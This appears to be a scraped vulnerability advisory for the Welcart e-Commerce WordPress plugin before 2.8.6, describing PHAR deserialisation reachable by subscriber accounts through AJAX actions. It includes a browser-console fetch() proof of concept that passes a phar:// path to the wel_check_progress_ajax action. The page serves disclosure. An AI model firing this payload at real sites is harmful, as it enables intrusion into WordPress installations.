Welcart e-Commerce < 2.8.6 - Subscriber+ PHAR Deserialisation

2022-12-0500:00:00

wpvulndb

welcart e-commerce

security exploit

phar deserialisation

subscriber user

web browser

developer console

ajax request

0.001 Low

EPSS

Percentile

36.8%

JSON

The plugin does not validate user input before using it in file_exist() functions via various AJAX actions available to any authenticated users, which could allow users with a role as low as subscriber to perform PHAR deserialisation when they can upload a file and a suitable gadget chain is present on the blog

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wel_check_progress_ajax&progressfile=phar://path-to-uploaded-phar.phar/log.txt',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

36.8%

JSON

Related for WPEX-ID:7A4B790C-49AE-46BC-9544-E188DEAE243F